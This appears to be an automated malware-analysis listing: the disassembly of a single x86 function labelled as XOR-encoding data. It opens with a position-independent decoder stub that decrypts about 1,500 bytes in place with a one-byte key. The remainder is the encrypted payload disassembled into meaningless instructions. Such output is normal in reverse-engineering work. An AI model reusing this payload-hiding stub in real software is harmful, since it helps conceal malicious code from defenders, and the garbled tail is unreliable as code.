Function at 0xefeefc
Capabilities:
Encode data using xor

Disassembly:
jmp 0xefef06
pushal
call 0xefef0c
pop ebp
sub ebp, 0x10
sub ebp, 0xafeefc
jmp 0xefef22
mov eax, 0xafeefc
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bb
mov edx, 0xc5194b7c
xor byte [eax], dl
inc eax
dec ecx
jne 0xefef39
jmp 0xefef4c
div dword [ecx + 0x7c40f5f7]
jl 0xefefd0
std
mov ebp, 0x7c7c7c84
jg 0xefef0d
les edi, [edx + 0x7c]
jl 0xefefdd
invalid
pop ebp
jl 0xefefe7
pop es
pop ecx
bnd jl 0xeff055
push eax
pop eax
int1
sbb byte [eax - 0x80], bl
cmc
jo 0xeff039
xor ch, 0x70
pop eax
xchg esp, eax
jns 0xeff060
jl 0xeff062
xchg ebp, eax
cmp dword [esi + 0x7c], edi
jl 0xefefdd
sbb byte [eax - 0x80], bl
cmc
push eax
pop eax
sub byte [ecx], ah
or dword [ecx], 0x70
or dword [ecx], 0x74
xchg esp, eax
push cs
jl 0xeff07a
jl 0xefeff7
sal dword [esp + edi*2 + 0x7c], 0x7c
dec edi
mov ch, 0xfd
invalid
jl 0xeff0b7
sbb bh, ch
xchg dword [ebx + 0x69f87359], eax
jl 0xeff0c1
jl 0xeff084
xchg ebp, eax
mov al, 0x83
add dword [ebx + 0x7d453055], 0xffffffff
mov ebp, 0x7894ff79
xchg ebp, eax
js 0xefefec
rol dword [ebx + 0x28558383], 0x45
jle 0xeff05f
invalid
mov ebp, 0x7896ff7a
call dword [ecx + edi*2 - 0x7c7c286b]
and dword [ecx], 0xffffffbe
jo 0xeff0ed
call dword [esi + 0x7994ff78]
xchg ebp, eax
xlatb
add dword [ebx + 0x70be2183], 0x7c
sub edi, esi
nop
sub ch, byte [ebx]
sub edi, esi
or dword [eax - 9], esi
add dword [eax + eax*4 - 0x32], esi
cld
test dword [ecx], 0xfcce8074
idiv byte [edx - 3]
mov edx, 0x7c7c7c7d
jge 0xeff102
jl 0xeff104
hlt
call dword [esi]
push ss
jl 0xeff136
jl 0xeff10b
mov esp, 0xf973ae7e
jns 0xeff13f
jl 0xeff141
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0xeff0cb
call dword [esi + 0x7d]
jl 0xeff14c
push esi
jge 0xeff14b
jl 0xeff14f
jle 0xeff080
scasb al, byte es:[edi]
jae 0xeff0cd
jns 0xeff152
jl 0xeff154
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
cmp ch, byte [esi - 0x52]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0xeff161
jl 0xeff163
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0xeff170
jl 0xeff172
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0xeff17f
jl 0xeff180
jl 0xeff181
jl 0xeff0fc
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0x7c7af873
jp 0xeff18c
jl 0xeff18e
mul dword [ebx + 0x7ff6a457]
hlt
jl 0xeff0b6
or al, 0x83
add dword [ebx + 0x7c7c7dc4], 0x7c
jle 0xeff0da
jl 0xeff1a5
jl 0xeff1a9
scasb al, byte es:[edi]
jae 0xeff127
jns 0xeff1ac
jl 0xeff1ae
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0xeff1bb
jl 0xeff1bd
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0xeff146
mov byte [0x57838383], al
adc dword [edi - 0x41], 0xffffffc7
push edi
mov edi, 0x7c7c7dc7
invalid
jge 0xeff1cd
jl 0xeff1cf
jl 0xeff1c7
jae 0xeff14e
stc
dec eax
jl 0xeff1d4
jl 0xeff11f
jge 0xeff1d8
jl 0xeff1d9
jl 0xeff1da
jl 0xeff1dd
jle 0xeff10e
scasb al, byte es:[edi]
jae 0xeff15b
stc
jns 0xeff1e0
jl 0xeff1e1
jl 0xeff1e2
jl 0xeff15d
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov ch, 0x7e
scasb al, byte es:[edi]
jae 0xeff16a
stc
jns 0xeff1ef
jl 0xeff1f0
jl 0xeff1f1
jl 0xeff16c
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0xeff17a
mov byte [0x2a838383], al
sub dword [edx], 0xfffffff7
sub dh, bh
test dword [ebx - 0x277076a9], 0x83749522
add dword [ebx + 0x749cbd34], 0xfffffff6
jp 0xeff1ce
mov edx, dword [edi - 0x77]
invalid
xor dword [edi*4 + 0x7af6749c], 0x3a
mov ebp, 0x7af6749c
cmp dh, bh
xchg esp, eax
lds edi, [ebp + 0x7c]
jl 0xeff217
not dword [ebp + eax*8 + 0x7c7c7c7d]
jl 0xeff216
jl 0xeff21a
jle 0xeff14b
scasb al, byte es:[edi]
jae 0xeff198
jns 0xeff21d
jl 0xeff21f
imul byte [edx + 0x3a]
outsb dx, byte [esi]
cmp ch, byte [esi - 0x52]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov ch, 0x7e
scasb al, byte es:[edi]
jae 0xeff1a7
jns 0xeff22c
jl 0xeff22e
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0xeff1b7
mov byte [0xfd838383], al
add dword [ebx + 0x17c84fd], 0x7c
std
test byte [ecx + eax + 0x7c], bh
jl 0xeff23f
jl 0xeff1c1
std
movsd dword es:[edi], dword [esi]
add dword [ebx - 0x7b027c7d], 0x7c
jns 0xeff24a
add dword [ebx + 0x797c84fd], 0x7c
jl 0xeff24b
jl 0xeff1cd
std
movsd dword es:[edi], dword [esi]
add dword [ebx - 0x7b027c7d], 0xfffffffc
cmp ebp, 0xffffff84
cld
jl 0xeff256
jl 0xeff257
jl 0xeff1d9
std
lodsd eax, dword [esi]
jl 0xeff25b
jl 0xeff25d
jl 0xeff1df
std
test ah, bh
jl 0xeff262
jl 0xeff263
jl 0xeff1e5
std
lodsd eax, dword [esi]
jl 0xeff267
jl 0xeff269
sub dh, bh
mov edx, dword [edi - 0x74]
invalid
push edi
mov word [edi - 0x186add28], cs
add byte [ebx + 0x3a7af683], 0x4f
mov ch, 0xbc
xchg esp, eax
jge 0xeff276
clc
jl 0xeff283
jl 0xeff284
jl 0xeff206
std
lodsd eax, dword [esi]
jle 0xeff288
jl 0xeff28a
not dword [edx + ebp - 0x73a87409]
invalid
mov word [edi + 0x7dc722d8], cs
fsub dword [edx]
invalid
and al, bh
jge 0xeff297
jl 0xeff298
jl 0xeff299
jl 0xeff1b3
xchg ebp, eax
jb 0x581175a7
add byte [ebx + 0x1572183], 0x74
idiv dword [ebx - 0x6608dddd]
add dword [edi + esi*8 - 0x45], esi
and esp, dword [edx]
neg dword [ecx + 0x7c74be21]
and dword [esi + 0x22237c74], edi
je 0xeff2ac
and esp, dword [edx]
xchg ebp, eax
js 0xeff2b1
jl 0xeff2b3
sal eax, cl
loopne 0xeff1e4
les eax, [eax + 0x7f7cd392]
jl 0xeff2c0
mov ecx, 0x7f19bcfd
jl 0xeff2c4
invalid
jle 0xeff2c8
jl 0xeff2c9
jl 0xeff214
invalid
dec ecx
mov ebp, 0x6c4ce7c1
out 0x4c, eax
insb byte es:[edi], dx
cmp al, 0x35
jae 0xeff251
stc
mov al, byte [ebx + 0x78958383]
jl 0xeff2dc
adc dword [ebp + 0x7c7c7c78], 0x39
js 0xeff2db
jl 0xeff2dd
jl 0xeff29b
cmp dword [esi], esi
push eax
push eax
or esi, 0xffffffb7
into
mov esi, 0xce753ec2
mov esi, 0xe97ef5c2
dec ecx
dec ecx
dec ecx
dec edx
ret 0x753e
mov bh, 0x1f
adc al, dl
pcmpeqw mm0, mm2
int 0x79
jge 0xeff2ca
dec ecx
dec ecx
bound edx, qword [ecx + 0x33c2b3ce]
dec ecx
xchg ecx, eax
into
mov bl, 0xc2
xor ecx, dword [ecx - 0x32]
into
mov bl, 0xc2
push es
dec ebp
enter 0x49b3, 0x49
dec ecx
dec ecx
inc esi
int 0xf
cmovns ecx, dword [ecx + 0x49]
dec ecx
dec ecx
dec ecx
dec edx
lahf
enter 0x418e, 0x49
dec ecx
dec ecx
enter 0x41a0, 0x49
dec ecx
dec ecx
enter 0x49b0, 0x49
dec ecx
dec ecx
dec ecx
inc esi
int 0x99
cdq
mov dh, 0xb6
mov dh, 0x2f
mov dh, 0xb6
das
ret 0x884e
dec edx
dec ecx
dec ecx
dec ecx
inc esi
int3
dec ecx
dec ecx
das
ret 0xc84e
dec ebx
mov al, byte [0xb6b6b681]
mov al, byte [0x4949494d]
in eax, dx
xor dword [esi + 0x4da0b6b6], 0xed494949
lea ebx, [ebx + 0x23]
int1
mov ch, 0xa7
out 0x49, al
dec edx
mov eax, cs
mov dword [ebp + 0x4d], ebx
dec ecx
dec ecx
invalid